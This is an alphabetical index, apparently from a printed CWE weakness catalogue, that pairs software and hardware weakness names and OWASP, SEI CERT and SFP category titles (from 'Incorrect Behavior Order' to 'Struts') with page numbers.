- Incorrect Behavior Order: Authorization Before Parsing and Canonicalization, 1192
- Incorrect Behavior Order: Early Amplification, 942
- Incorrect Behavior Order: Early Validation, 430
- Incorrect Behavior Order: Validate Before Canonicalize, 433
- Incorrect Behavior Order: Validate Before Filter, 435
- Incorrect Bitwise Shift of Integer, 2058
- Incorrect Block Delimitation, 1095
- Incorrect Calculation, 1403
- Incorrect Calculation of Buffer Size, 340
- Incorrect Calculation of Multi-Byte String Length, 355
- Incorrect Chaining or Granularity of Debug Components, 1986
- Incorrect Check of Function Return Value, 582
- Incorrect Comparison, 1428
- Incorrect Comparison Logic Granularity, 1900
- Incorrect Control Flow Scoping, 1437
- Incorrect Conversion between Numeric Types, 1400
- Incorrect Conversion of Security Identifiers, 1980
- Incorrect Decoding of Security Identifiers, 1976
- Incorrect Default Permissions, 630
- Incorrect Execution-Assigned Permissions, 636
- Incorrect Implementation of Authentication Algorithm, 699
- Incorrect Ownership Assignment, 1442
- Incorrect Parsing of Numbers with Different Radices, 2084
- Incorrect Permission Assignment for Critical Resource, 1445
- Incorrect Pointer Scaling, 1053
- Incorrect Privilege Assignment, 605
- Incorrect Provision of Specified Functionality, 1410
- Incorrect Register Defaults or Module Parameters, 1845
- Incorrect Regular Expression, 444
- Incorrect Resource Transfer Between Spheres, 1383
- Incorrect Selection of Fuse Values, 1898
- Incorrect Short Circuit Evaluation, 1500
- Incorrect Synchronization, 1603
- Incorrect Type Conversion or Cast, 1435
- Incorrect Usage of Seeds in Pseudo-Random Number Generator (PRNG), 786
- Incorrect Use of Autoboxing and Unboxing for Performance Critical Operations, 1863
- Incorrect Use of Privileged APIs, 1344
- Incorrect User Management, 656
- Incorrectly Specified Destination in a Communication Channel, 1715
- Inefficient Algorithmic Complexity, 939
- Inefficient CPU Computation, 1826
- Inefficient Regular Expression Complexity, 2053
- Information Exposure through Microarchitectural State after Transient Execution, 2071
- Information Loss or Omission, 531
- Information Management Errors, 2104
- Initialization and Cleanup Errors, 2120
- Initialization with Hard-Coded Network Resource Configuration Data, 1751
- Insecure Automated Optimizations, 1737
- Insecure Default Initialization of Resource, 1828
- Insecure Default Variable Initialization, 1024
- Insecure Inherited Permissions, 634
- Insecure Operation on Windows Junction / Mount Point, 2082
- Insecure Preserved Inherited Permissions, 635
- Insecure Security Identifier Mechanism, 1983
- Insecure Storage of Sensitive Information, 1698
- Insecure Temporary File, 876
- Insertion of Sensitive Information Into Debugging Code, 527
- Insertion of Sensitive Information into Externally-Accessible File or Directory, 1178
- Insertion of Sensitive Information into Log File, 1171
- Insertion of Sensitive Information Into Sent Data, 493
- Insufficient Adherence to Expected Conventions, 1778
- Insufficient Control Flow Management, 1420
- Insufficient Control of Network Message Volume (Network Amplification), 937
- Insufficient Documentation of Error Handling Techniques, 1815
- Insufficient Encapsulation, 1762
- Insufficient Encapsulation of Machine-Dependent Functionality, 1804
- Insufficient Entropy, 778
- Insufficient Entropy in PRNG, 781
- Insufficient Granularity of Access Control, 1843
- Insufficient Granularity of Address Regions Protected by Register Locks, 1848
- Insufficient Isolation of Symbolic Constant Definitions, 1806
- Insufficient Isolation of System-Dependent Functions, 1800
- Insufficient Logging, 1525
- Insufficient or Incomplete Data Removal within Hardware Component, 2000
- Insufficient Precision or Accuracy of a Real Number, 2064
- Insufficient Psychological Acceptability, 1357
- Insufficient Resource Pool, 945
- Insufficient Session Expiration, 1291
- Insufficient Technical Documentation, 1759
- Insufficient Type Distinction, 820
- Insufficient UI Warning of Dangerous Operations, 833
- Insufficient Use of Symbolic Constants, 1805
- Insufficient Verification of Data Authenticity, 805
- Insufficient Visual Distinction of Homoglyphs Presented to User, 1724
- Insufficiently Protected Credentials, 1157

Integer Coercion Error, 463  
 Integer Overflow or Wraparound, 453  
 Integer Overflow to Buffer Overflow, 1398  
 Integer Underflow (Wrap or Wraparound), 460  
 Integration Issues, 2263  
 Internal Asset Exposed to Unsafe Debug Access Level or State, 1879  
 Interpretation Conflict, 1000  
 Invocation of a Control Element at an Unnecessarily Deep Horizontal Layer, 1754  
 Invocation of Process Using Visible Sensitive Information, 525  
 Invokable Control Element in Multi-Thread Context with non-Final Static Storable or Member Element, 1758  
 Invokable Control Element with Excessive File or Data Access Operations, 1784  
 Invokable Control Element with Excessive Volume of Commented-out Code, 1785  
 Invokable Control Element with Large Number of Outward Calls, 1748  
 Invokable Control Element with Signature Containing an Excessive Number of Parameters, 1765  
 Invokable Control Element with Variadic Parameters, 1756  
 Irrelevant Code, 1823

**J**

J2EE Bad Practices: Direct Management of Connections, 563  
 J2EE Bad Practices: Direct Use of Sockets, 564  
 J2EE Bad Practices: Direct Use of Threads, 885  
 J2EE Bad Practices: Non-serializable Object Stored in Session, 1233  
 J2EE Bad Practices: Use of System.exit(), 883  
 J2EE Framework: Saving Unserializable Objects to Disk, 1254  
 J2EE Misconfiguration: Data Transmission Without Encryption, 1  
 J2EE Misconfiguration: Entity Bean Declared Remote, 6  
 J2EE Misconfiguration: Insufficient Session-ID Length, 2  
 J2EE Misconfiguration: Missing Custom Error Page, 4  
 J2EE Misconfiguration: Plaintext Password in Configuration File, 1197  
 J2EE Misconfiguration: Weak Access Permissions for EJB Methods, 7  
 Java Runtime Error Message Containing Sensitive Information, 1176

**K**

Key Exchange without Entity Authentication, 749  
 Key Management Errors, 2112

**L**

Lack of Administrator Control over Security, 1385  
 Large Data Table with Excessive Number of Indices, 1789  
 Least Privilege Violation, 623  
 Limit Access, 2223  
 Limit Exposure, 2224  
 Lock Computer, 2225  
 Lockout Mechanism Errors, 2271  
 Logging of Excessive Data, 1529  
 Logic/Time Bomb, 1149  
 Loop Condition Value Update within the Loop, 1795  
 Loop with Unreachable Exit Condition ('Infinite Loop'), 1636

**M**

Manage User Sessions, 2225  
 Manufacturing and Life Cycle Management Concerns, 2262  
 Memory Allocation with Excessive Size Value, 1558  
 Memory and Storage Issues, 2265  
 Memory Buffer Errors, 2272

Method Containing Access of a Member Element from Another Class, 1791  
 Mirrored Regions with Different Values, 1894  
 Misinterpretation of Input, 271  
 Mismatched Memory Management Routines, 1485  
 Missing Ability to Patch ROM Code, 2008  
 Missing Authentication for Critical Function, 703  
 Missing Authorization, 1657  
 Missing Check for Certificate Revocation after Initial Check, 868  
 Missing Critical Step in Authentication, 700  
 Missing Cryptographic Step, 754  
 Missing Custom Error Page, 1469  
 Missing Default Case in Multiple Condition Expression, 1079  
 Missing Documentation for Design, 1753  
 Missing Encryption of Sensitive Data, 718  
 Missing Handler, 986  
 Missing Immutable Root of Trust in Hardware, 2037  
 Missing Initialization of a Variable, 1029  
 Missing Initialization of Resource, 1673  
 Missing Lock Check, 953  
 Missing Origin Validation in WebSockets, 2080  
 Missing Password Field Masking, 1190  
 Missing Protection Against Hardware Reverse Engineering Using Integrated Circuit (IC) Imaging Techniques, 1955  
 Missing Protection for Mirrored Regions in On-Chip Fabric Firewall, 2011  
 Missing Protection Mechanism for Alternate Hardware Interface, 1993  
 Missing Reference to Active Allocated Resource, 1510  
 Missing Reference to Active File Descriptor or Handle, 1517  
 Missing Release of File Descriptor or Handle after Effective Lifetime, 1519  
 Missing Release of Memory after Effective Lifetime, 921  
 Missing Release of Resource after Effective Lifetime, 1512  
 Missing Report of Error Condition, 901  
 Missing Security Identifier, 2001  
 Missing Serialization Control Element, 1767  
 Missing Source Correlation of Multiple Independent Data, 1982  
 Missing Standardized Error Handling Mechanism, 1185  
 Missing Support for Integrity Check, 828  
 Missing Support for Security Features in On-chip Fabrics or Buses, 2023  
 Missing Synchronization, 1601  
 Missing Validation of OpenSSL Certificate, 1263  
 Missing Write Protection for Parametric Data Values, 2015  
 Missing XML Validation, 261  
 Modification of Assumed-Immutable Data (MAID), 1060  
 Modules with Circular Dependencies, 1747  
 Multiple Binds to the Same Port, 1277  
 Multiple Inheritance from Concrete Classes, 1755  
 Multiple Interpretations of UI Input, 1019  
 Multiple Locks of a Critical Resource, 1493  
 Multiple Operations on Resource in Single-Operation Context, 1393  
 Multiple Releases of Same Resource or Handle, 2068  
 Multiple Unlocks of a Critical Resource, 1494  
 Mutable Attestation or Measurement Reporting Data, 1963

**N**

Named Chains, 2318  
 .NET Misconfiguration: Use of Impersonation, 1154  
 Non-exit on Failed Initialization, 1028  
 Non-Replicating Malicious Code, 1145  
 Non-SQL Invokable Control Element with Excessive Number of Data Resource Accesses, 1774

- Non-Transparent Sharing of Microarchitectural Resources, 2003
- Not Failing Securely ('Failing Open'), 1318
- Not Using Complete Mediation, 1322
- Not Using Password Aging, 600
- Null Byte Interaction Error (Poison Null Byte), 1312
- NULL Pointer Dereference, 1070
- Numeric Errors, 2103
- Numeric Range Comparison Without Minimum Check, 1644
- Numeric Truncation Error, 479
- O**
- Object Model Violation: Just One of Equals and Hashcode Defined, 1236
- Obscured Security-relevant Information by Alternate Name, 535
- Observable Behavioral Discrepancy, 504
- Observable Behavioral Discrepancy With Equivalent Products, 507
- Observable Discrepancy, 497
- Observable Internal Behavioral Discrepancy, 505
- Observable Response Discrepancy, 501
- Observable Timing Discrepancy, 508
- Obsolete Feature in UI, 1017
- Off-by-one Error, 466
- Often Misused: String Management, 2106
- Omission of Security-relevant Information, 533
- Omitted Break Statement in Switch, 1097
- On-Chip Debug and Test Interface With Improper Access Control, 1833
- Only Filtering One Instance of a Special Element, 1567
- Only Filtering Special Elements at a Specified Location, 1569
- Only Filtering Special Elements at an Absolute Position, 1572
- Only Filtering Special Elements Relative to a Marker, 1571
- Operation on a Resource after Expiration or Release, 1386
- Operation on Resource in Wrong Phase of Lifetime, 1374
- Operator Precedence Logic Error, 1536
- Origin Validation Error, 808
- Out-of-bounds Read, 316
- Out-of-bounds Write, 1547
- Overly Restrictive Account Lockout Mechanism, 1340
- Overly Restrictive Regular Expression, 447
- OWASP Top Ten 2004 Category A1 - Unvalidated Input, 2127
- OWASP Top Ten 2004 Category A10 - Insecure Configuration Management, 2133
- OWASP Top Ten 2004 Category A2 - Broken Access Control, 2128
- OWASP Top Ten 2004 Category A3 - Broken Authentication and Session Management, 2129
- OWASP Top Ten 2004 Category A4 - Cross-Site Scripting (XSS) Flaws, 2130
- OWASP Top Ten 2004 Category A5 - Buffer Overflows, 2130
- OWASP Top Ten 2004 Category A6 - Injection Flaws, 2130
- OWASP Top Ten 2004 Category A7 - Improper Error Handling, 2131
- OWASP Top Ten 2004 Category A8 - Insecure Storage, 2131
- OWASP Top Ten 2004 Category A9 - Denial of Service, 2132
- OWASP Top Ten 2007 Category A1 - Cross Site Scripting (XSS), 2123
- OWASP Top Ten 2007 Category A10 - Failure to Restrict URL Access, 2127
- OWASP Top Ten 2007 Category A2 - Injection Flaws, 2124
- OWASP Top Ten 2007 Category A3 - Malicious File Execution, 2124
- OWASP Top Ten 2007 Category A4 - Insecure Direct Object Reference, 2124
- OWASP Top Ten 2007 Category A5 - Cross Site Request Forgery (CSRF), 2125
- OWASP Top Ten 2007 Category A6 - Information Leakage and Improper Error Handling, 2125
- OWASP Top Ten 2007 Category A7 - Broken Authentication and Session Management, 2126
- OWASP Top Ten 2007 Category A8 - Insecure Cryptographic Storage, 2126
- OWASP Top Ten 2007 Category A9 - Insecure Communications, 2126
- OWASP Top Ten 2010 Category A1 - Injection, 2149
- OWASP Top Ten 2010 Category A10 - Unvalidated Redirects and Forwards, 2153
- OWASP Top Ten 2010 Category A2 - Cross-Site Scripting (XSS), 2150
- OWASP Top Ten 2010 Category A3 - Broken Authentication and Session Management, 2150
- OWASP Top Ten 2010 Category A4 - Insecure Direct Object References, 2151
- OWASP Top Ten 2010 Category A5 - Cross-Site Request Forgery(CSRF), 2151
- OWASP Top Ten 2010 Category A6 - Security Misconfiguration, 2151
- OWASP Top Ten 2010 Category A7 - Insecure Cryptographic Storage, 2152
- OWASP Top Ten 2010 Category A8 - Failure to Restrict URL Access, 2152
- OWASP Top Ten 2010 Category A9 - Insufficient Transport Layer Protection, 2153
- OWASP Top Ten 2013 Category A1 - Injection, 2182
- OWASP Top Ten 2013 Category A10 - Unvalidated Redirects and Forwards, 2186
- OWASP Top Ten 2013 Category A2 - Broken Authentication and Session Management, 2183
- OWASP Top Ten 2013 Category A3 - Cross-Site Scripting (XSS), 2183
- OWASP Top Ten 2013 Category A4 - Insecure Direct Object References, 2184
- OWASP Top Ten 2013 Category A5 - Security Misconfiguration, 2184
- OWASP Top Ten 2013 Category A6 - Sensitive Data Exposure, 2184
- OWASP Top Ten 2013 Category A7 - Missing Function Level Access Control, 2185
- OWASP Top Ten 2013 Category A8 - Cross-Site Request Forgery (CSRF), 2185
- OWASP Top Ten 2013 Category A9 - Using Components with Known Vulnerabilities, 2186
- OWASP Top Ten 2017 Category A1 - Injection, 2228
- OWASP Top Ten 2017 Category A10 - Insufficient Logging & Monitoring, 2232
- OWASP Top Ten 2017 Category A2 - Broken Authentication, 2229
- OWASP Top Ten 2017 Category A3 - Sensitive Data Exposure, 2229
- OWASP Top Ten 2017 Category A4 - XML External Entities (XXE), 2230
- OWASP Top Ten 2017 Category A5 - Broken Access Control, 2230
- OWASP Top Ten 2017 Category A6 - Security Misconfiguration, 2231
- OWASP Top Ten 2017 Category A7 - Cross-Site Scripting (XSS), 2231
- OWASP Top Ten 2017 Category A8 - Insecure Deserialization, 2232



OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities, 2232  
 OWASP Top Ten 2021 Category A01:2021 - Broken Access Control, 2280  
 OWASP Top Ten 2021 Category A02:2021 - Cryptographic Failures, 2281  
 OWASP Top Ten 2021 Category A03:2021 - Injection, 2282  
 OWASP Top Ten 2021 Category A04:2021 - Insecure Design, 2284  
 OWASP Top Ten 2021 Category A05:2021 - Security Misconfiguration, 2286  
 OWASP Top Ten 2021 Category A06:2021 - Vulnerable and Outdated Components, 2287  
 OWASP Top Ten 2021 Category A07:2021 - Identification and Authentication Failures, 2287  
 OWASP Top Ten 2021 Category A08:2021 - Software and Data Integrity Failures, 2288  
 OWASP Top Ten 2021 Category A09:2021 - Security Logging and Monitoring Failures, 2289  
 OWASP Top Ten 2021 Category A10:2021 - Server-Side Request Forgery (SSRF), 2290

## P

Parent Class with a Virtual Destructor and a Child Class without a Virtual Destructor, 1745  
 Parent Class with References to Child Class, 1763  
 Parent Class without Virtual Destructor Method, 1780  
 Partial String Comparison, 448  
 Passing Mutable Objects to an Untrusted Method, 871  
 Password Aging with Long Expiration, 602  
 Password in Configuration File, 596  
 Path Equivalence: ' filename' (Leading Space), 94  
 Path Equivalence: './' (Single Dot Directory), 102  
 Path Equivalence: '//multiple/leading/slash', 97  
 Path Equivalence: '/multiple//internal/slash', 98  
 Path Equivalence: '/multiple/trailing/slash/', 99  
 Path Equivalence: '\multiple\internal\backslash', 100  
 Path Equivalence: 'fakedir/./readdir/filename', 105  
 Path Equivalence: 'file name' (Internal Whitespace), 95  
 Path Equivalence: 'filedir\*' (Wildcard), 104  
 Path Equivalence: 'filedir\' (Trailing Backslash), 101  
 Path Equivalence: 'filename \' (Trailing Space), 93  
 Path Equivalence: 'file.name' (Internal Dot), 91  
 Path Equivalence: 'file...name' (Multiple Internal Dot), 92  
 Path Equivalence: 'filename....' (Multiple Trailing Dot), 90  
 Path Equivalence: 'filename.' (Trailing Dot), 89  
 Path Equivalence: 'filename/' (Trailing Slash), 96  
 Path Equivalence: Windows 8.3 Filename, 106  
 Path Traversal: '....' (Multiple Dot), 66  
 Path Traversal: '...' (Triple Dot), 64  
 Path Traversal: '.../', 68  
 Path Traversal: '...//', 70  
 Path Traversal: './filedir', 52  
 Path Traversal: '/absolute/pathname/here', 75  
 Path Traversal: '/dir/./filename', 54  
 Path Traversal: './filedir', 51  
 Path Traversal: '\.filename', 59  
 Path Traversal: '\\UNC\share\name\' (Windows UNC Share), 81  
 Path Traversal: '\absolute\pathname\here', 77  
 Path Traversal: '\dir\./filename', 61  
 Path Traversal: './filedir', 57  
 Path Traversal: 'C:dirname', 79  
 Path Traversal: 'dir/././filename', 56  
 Path Traversal: 'dir\.\./filename', 62  
 Peripherals, On-chip Fabric, and Interface/IO Problems, 2265  
 Permission Issues, 2110

Permission Race Condition During Resource Copy, 1416  
 Permissions, Privileges, and Access Controls, 2108  
 Permissive Cross-domain Policy with Untrusted Domains, 1717  
 Permissive List of Allowed Inputs, 439  
 Permissive Regular Expression, 1309  
 Persistent Storable Data Element without Associated Comparison Control Element, 1797  
 PHP External Variable Modification, 1066  
 Physical Access Issues and Concerns, 2309  
 Placement of User into Incorrect Group, 1653  
 Plaintext Storage of a Password, 583  
 Pointer Issues, 2121  
 Policy Privileges are not Assigned Consistently Between Control and Data Agents, 1933  
 Policy Uses Obsolete Encoding, 1931  
 Power, Clock, Thermal, and Reset Concerns, 2266  
 Power-On of Untrusted Execution Core Before Enabling Fabric Access Control, 1837  
 Predictable Exact Value from Previous Values, 801  
 Predictable from Observable State, 799  
 Predictable Seed in Pseudo-Random Number Generator (PRNG), 791  
 Predictable Value Range from Previous Values, 802  
 Premature Release of Resource During Expected Lifetime, 1614  
 Private Data Structure Returned From A Public Method, 1123  
 Privilege Chaining, 611  
 Privilege Context Switching Error, 618  
 Privilege Defined With Unsafe Actions, 608  
 Privilege Dropping / Lowering Errors, 620  
 Privilege Issues, 2109  
 Privilege Separation and Access Control Issues, 2263  
 Process Control, 268  
 Processor Optimization Removal or Modification of Security-critical Code, 1736  
 Product Released in Non-Release Configuration, 1936  
 Product UI does not Warn User of Unsafe Actions, 832  
 Protection Mechanism Failure, 1422  
 Public cloneable() Method Without Final ('Object Hijack'), 1108  
 Public Data Assigned to Private Array-Typed Field, 1125  
 Public Key Re-Use for Signing both Debug and Production Code, 1978  
 Public Static Field Not Marked Final, 1133  
 Public Static Final Field References Mutable Object, 1280

## Q

Quality Weaknesses with Indirect Security Impacts, 2339

## R

Race Condition During Access to Alternate Channel, 965  
 Race Condition Enabling Link Following, 849  
 Race Condition for Write-Once Attributes, 1849  
 Race Condition within a Thread, 856  
 Random Number Issues, 2270  
 Reachable Assertion, 1297  
 Reflection Attack in an Authentication Protocol, 695  
 Regular Expression without Anchors, 1523  
 Relative Path Traversal, 44  
 Release of Invalid Pointer or Reference, 1488  
 Reliance on a Single Factor in a Security Decision, 1355  
 Reliance on Component That is Not Updateable, 2043  
 Reliance on Cookies without Validation and Integrity Checking, 1209  
 Reliance on Cookies without Validation and Integrity Checking in a Security Decision, 1539  
 Reliance on Data/Memory Layout, 451

- Reliance on File Name or Extension of Externally-Supplied File, 1341
  - Reliance on Insufficiently Trustworthy Component, 2076
  - Reliance on IP Address for Authentication, 671
  - Reliance on Machine-Dependent Data Representation, 1802
  - Reliance on Obfuscation or Encryption of Security-Relevant Inputs without Integrity Checking, 1346
  - Reliance on Package-level Scope, 1102
  - Reliance on Reverse DNS Resolution for a Security-Critical Action, 817
  - Reliance on Runtime Component in Generated Code, 1801
  - Reliance on Security Through Obscurity, 1359
  - Reliance on Undefined, Unspecified, or Implementation-Defined Behavior, 1472
  - Reliance on Untrusted Inputs in a Security Decision, 1595
  - Remanent Data Readable after Memory Erase, 2045
  - Replicating Malicious Code (Virus or Worm), 1146
  - Research Concepts, 2335(*Graph: 2405*)
  - Resource Locking Problems, 2118
  - Resource Management Errors, 2117
  - Return Inside Finally Block, 1240
  - Return of Pointer Value Outside of Expected Range, 1049
  - Return of Stack Variable Address, 1204
  - Return of Wrong Status Code, 903
  - Returning a Mutable Object to an Untrusted Caller, 874
  - Reusing a Nonce, Key Pair in Encryption, 750
  - Runtime Resource Management Control Element in a Component Built to Run on Application Servers, 1766
- S**
- Same Seed in Pseudo-Random Number Generator (PRNG), 789
  - Security Flow Issues, 2262
  - Security Primitives and Cryptography Issues, 2266
  - Security Version Number Mutable to Older Versions, 2041
  - Security-Sensitive Hardware Controls with Missing Lock Bit Protection, 1859
  - SEI CERT C Coding Standard - Guidelines 01. Preprocessor (PRE), 2247
  - SEI CERT C Coding Standard - Guidelines 02. Declarations and Initialization (DCL), 2248
  - SEI CERT C Coding Standard - Guidelines 03. Expressions (EXP), 2248
  - SEI CERT C Coding Standard - Guidelines 04. Integers (INT), 2249
  - SEI CERT C Coding Standard - Guidelines 05. Floating Point (FLP), 2250
  - SEI CERT C Coding Standard - Guidelines 06. Arrays (ARR), 2250
  - SEI CERT C Coding Standard - Guidelines 07. Characters and Strings (STR), 2251
  - SEI CERT C Coding Standard - Guidelines 08. Memory Management (MEM), 2251
  - SEI CERT C Coding Standard - Guidelines 09. Input Output (FIO), 2252
  - SEI CERT C Coding Standard - Guidelines 10. Environment (ENV), 2253
  - SEI CERT C Coding Standard - Guidelines 11. Signals (SIG), 2254
  - SEI CERT C Coding Standard - Guidelines 12. Error Handling (ERR), 2254
  - SEI CERT C Coding Standard - Guidelines 13. Application Programming Interfaces (API), 2255
  - SEI CERT C Coding Standard - Guidelines 14. Concurrency (CON), 2255
  - SEI CERT C Coding Standard - Guidelines 48. Miscellaneous (MSC), 2256
  - SEI CERT C Coding Standard - Guidelines 50. POSIX (POS), 2256
  - SEI CERT C Coding Standard - Guidelines 51. Microsoft Windows (WIN) , 2257
  - SEI CERT Oracle Secure Coding Standard for Java - Guidelines 00. Input Validation and Data Sanitization (IDS), 2237
  - SEI CERT Oracle Secure Coding Standard for Java - Guidelines 01. Declarations and Initialization (DCL), 2237
  - SEI CERT Oracle Secure Coding Standard for Java - Guidelines 02. Expressions (EXP), 2238
  - SEI CERT Oracle Secure Coding Standard for Java - Guidelines 03. Numeric Types and Operations (NUM), 2238
  - SEI CERT Oracle Secure Coding Standard for Java - Guidelines 04. Characters and Strings (STR), 2239
  - SEI CERT Oracle Secure Coding Standard for Java - Guidelines 05. Object Orientation (OBJ), 2239
  - SEI CERT Oracle Secure Coding Standard for Java - Guidelines 06. Methods (MET), 2240
  - SEI CERT Oracle Secure Coding Standard for Java - Guidelines 07. Exceptional Behavior (ERR), 2241
  - SEI CERT Oracle Secure Coding Standard for Java - Guidelines 08. Visibility and Atomicity (VNA), 2241
  - SEI CERT Oracle Secure Coding Standard for Java - Guidelines 09. Locking (LCK), 2242
  - SEI CERT Oracle Secure Coding Standard for Java - Guidelines 10. Thread APIs (THI), 2242
  - SEI CERT Oracle Secure Coding Standard for Java - Guidelines 11. Thread Pools (TPS), 2243
  - SEI CERT Oracle Secure Coding Standard for Java - Guidelines 12. Thread-Safety Miscellaneous (TSM), 2243
  - SEI CERT Oracle Secure Coding Standard for Java - Guidelines 13. Input Output (FIO), 2244
  - SEI CERT Oracle Secure Coding Standard for Java - Guidelines 14. Serialization (SER), 2244
  - SEI CERT Oracle Secure Coding Standard for Java - Guidelines 15. Platform Security (SEC), 2245
  - SEI CERT Oracle Secure Coding Standard for Java - Guidelines 16. Runtime Environment (ENV), 2245
  - SEI CERT Oracle Secure Coding Standard for Java - Guidelines 17. Java Native Interface (JNI), 2246
  - SEI CERT Oracle Secure Coding Standard for Java - Guidelines 18. Concurrency (CON), 2257
  - SEI CERT Oracle Secure Coding Standard for Java - Guidelines 49. Miscellaneous (MSC), 2246
  - SEI CERT Oracle Secure Coding Standard for Java - Guidelines 50. Android (DRD), 2247
  - SEI CERT Perl Coding Standard - Guidelines 01. Input Validation and Data Sanitization (IDS), 2258
  - SEI CERT Perl Coding Standard - Guidelines 02. Declarations and Initialization (DCL), 2258
  - SEI CERT Perl Coding Standard - Guidelines 03. Expressions (EXP), 2259
  - SEI CERT Perl Coding Standard - Guidelines 04. Integers (INT), 2260
  - SEI CERT Perl Coding Standard - Guidelines 05. Strings (STR), 2260
  - SEI CERT Perl Coding Standard - Guidelines 06. Object-Oriented Programming (OOP), 2260
  - SEI CERT Perl Coding Standard - Guidelines 07. File Input and Output (FIO), 2261
  - SEI CERT Perl Coding Standard - Guidelines 50. Miscellaneous (MSC), 2261
  - Selection of Less-Secure Algorithm During Negotiation ('Algorithm Downgrade'), 1471
  - Self-generated Error Message Containing Sensitive Information, 516

Semiconductor Defects in Hardware Logic with Security-Sensitive Implications, 1889

Sensitive Cookie in HTTPS Session Without 'Secure' Attribute, 1292

Sensitive Cookie with Improper SameSite Attribute, 1948

Sensitive Cookie Without 'HttpOnly' Flag, 1721

Sensitive Data Storage in Improperly Locked Memory, 1251

Sensitive Information in Resource Not Removed Before Reuse, 536

Sensitive Information Uncleared Before Debug/Power State Transition, 1942

Sensitive Non-Volatile Information Not Protected During Debug, 1878

Sequence of Processor Instructions Leads to Unexpected Behavior, 1960

Serializable Class Containing Sensitive Data, 1132

Serializable Data Element Containing non-Serializable Item Elements, 1772

Server-generated Error Message Containing Sensitive Information, 1191

Server-Side Request Forgery (SSRF), 1694

Servlet Runtime Error Message Containing Sensitive Information, 1175

Session Fixation, 887

Seven Pernicious Kingdoms, 2317(*Graph: 2371*)

SFP Primary Cluster: Access Control, 2179

SFP Primary Cluster: API, 2175

SFP Primary Cluster: Authentication, 2179

SFP Primary Cluster: Channel, 2180

SFP Primary Cluster: Cryptography, 2180

SFP Primary Cluster: Entry Points, 2178

SFP Primary Cluster: Exception Management, 2176

SFP Primary Cluster: Failure to Release Memory, 2275

SFP Primary Cluster: Faulty Resource Release, 2275

SFP Primary Cluster: Information Leak, 2178

SFP Primary Cluster: Malware, 2180

SFP Primary Cluster: Memory Access, 2176

SFP Primary Cluster: Memory Management, 2176

SFP Primary Cluster: Other, 2182

SFP Primary Cluster: Path Resolution, 2177

SFP Primary Cluster: Predictability, 2181

SFP Primary Cluster: Privilege, 2179

SFP Primary Cluster: Resource Management, 2177

SFP Primary Cluster: Risky Values, 2175

SFP Primary Cluster: Synchronization, 2177

SFP Primary Cluster: Tainted Input, 2178

SFP Primary Cluster: UI, 2181

SFP Primary Cluster: Unused entities, 2175

SFP Secondary Cluster: Access Management, 2186

SFP Secondary Cluster: Ambiguous Exception Type, 2192

SFP Secondary Cluster: Architecture, 2199

SFP Secondary Cluster: Authentication Bypass, 2187

SFP Secondary Cluster: Broken Cryptography, 2191

SFP Secondary Cluster: Channel Attack, 2191

SFP Secondary Cluster: Compiler, 2200

SFP Secondary Cluster: Covert Channel, 2197

SFP Secondary Cluster: Design, 2200

SFP Secondary Cluster: Digital Certificate, 2188

SFP Secondary Cluster: Exposed Data, 2193

SFP Secondary Cluster: Exposure Temporary File, 2196

SFP Secondary Cluster: Failed Chroot Jail, 2201

SFP Secondary Cluster: Failure to Release Resource, 2203

SFP Secondary Cluster: Faulty Buffer Access, 2198

SFP Secondary Cluster: Faulty Endpoint Authentication, 2188

SFP Secondary Cluster: Faulty Input Transformation, 2209

SFP Secondary Cluster: Faulty Memory Release, 2197

SFP Secondary Cluster: Faulty Pointer Use, 2198

SFP Secondary Cluster: Faulty Resource Use, 2204

SFP Secondary Cluster: Faulty String Expansion, 2199

SFP Secondary Cluster: Feature, 2211

SFP Secondary Cluster: Glitch in Computation, 2212

SFP Secondary Cluster: Hardcoded Sensitive Data, 2189

SFP Secondary Cluster: Implementation, 2201

SFP Secondary Cluster: Improper NULL Termination, 2199

SFP Secondary Cluster: Incorrect Buffer Length Computation, 2199

SFP Secondary Cluster: Incorrect Exception Behavior, 2192

SFP Secondary Cluster: Incorrect Input Handling, 2210

SFP Secondary Cluster: Information Loss, 2212

SFP Secondary Cluster: Insecure Authentication Policy, 2189

SFP Secondary Cluster: Insecure Resource Access, 2187

SFP Secondary Cluster: Insecure Resource Permissions, 2187

SFP Secondary Cluster: Insecure Session Management, 2196

SFP Secondary Cluster: Life Cycle, 2204

SFP Secondary Cluster: Link in Resource Name Resolution, 2202

SFP Secondary Cluster: Missing Authentication, 2189

SFP Secondary Cluster: Missing Endpoint Authentication, 2190

SFP Secondary Cluster: Missing Lock, 2205

SFP Secondary Cluster: Multiple Binds to the Same Port, 2190

SFP Secondary Cluster: Multiple Locks/Unlocks, 2205

SFP Secondary Cluster: Other Exposures, 2196

SFP Secondary Cluster: Path Traversal, 2202

SFP Secondary Cluster: Protocol Error, 2191

SFP Secondary Cluster: Race Condition Window, 2206

SFP Secondary Cluster: Security, 2211

SFP Secondary Cluster: State Disclosure, 2197

SFP Secondary Cluster: Tainted Input to Command, 2206

SFP Secondary Cluster: Tainted Input to Environment, 2209

SFP Secondary Cluster: Tainted Input to Variable, 2210

SFP Secondary Cluster: Unchecked Status Condition, 2193

SFP Secondary Cluster: Unexpected Entry Points, 2214

SFP Secondary Cluster: Unrestricted Authentication, 2190

SFP Secondary Cluster: Unrestricted Consumption, 2204

SFP Secondary Cluster: Unrestricted Lock, 2206

SFP Secondary Cluster: Use of an Improper API, 2213

SFP Secondary Cluster: Weak Cryptography, 2192

Signal Errors, 2114

Signal Handler Function Associated with Multiple Signals, 1629

Signal Handler Race Condition, 851

Signal Handler Use of a Non-reentrant Function, 1084

Signal Handler with Functionality that is not Asynchronous-Safe, 1617

Signed to Unsigned Conversion Error, 474

Singleton Class Instance Creation without Proper Locking or Synchronization, 1796

Small Seed Space in PRNG, 796

Small Space of Random Values, 784

Software Development, 2315(*Graph: 2361*)

Software Fault Pattern (SFP) Clusters, 2331(*Graph: 2388*)

Source Code Element without Standard Prologue, 1812

Source Code File with Excessive Number of Lines of Code, 1781

Spyware, 1150

SQL Injection: Hibernate, 1207

Stack-based Buffer Overflow, 303

State Issues, 2114  
 Static Member Data Element outside of a Singleton Class Element, 1742  
 Storage of File With Sensitive Data Under FTP Root, 530  
 Storage of File with Sensitive Data Under Web Root, 529  
 Storage of Sensitive Data in a Mechanism without Access Control, 1697  
 Storing Passwords in a Recoverable Format, 586  
 String Errors, 2101  
 Struts: Duplicate Validation Forms, 239  
 Struts: Form Bean Does Not Extend Validation Class, 243  
 Struts: Form Field Without Validator, 245  
 Struts: Incomplete validate() Method Definition, 240  
 Struts: Non-private Field in ActionForm Class, 1281  
 Struts: Plug-in Framework not in Use, 248  
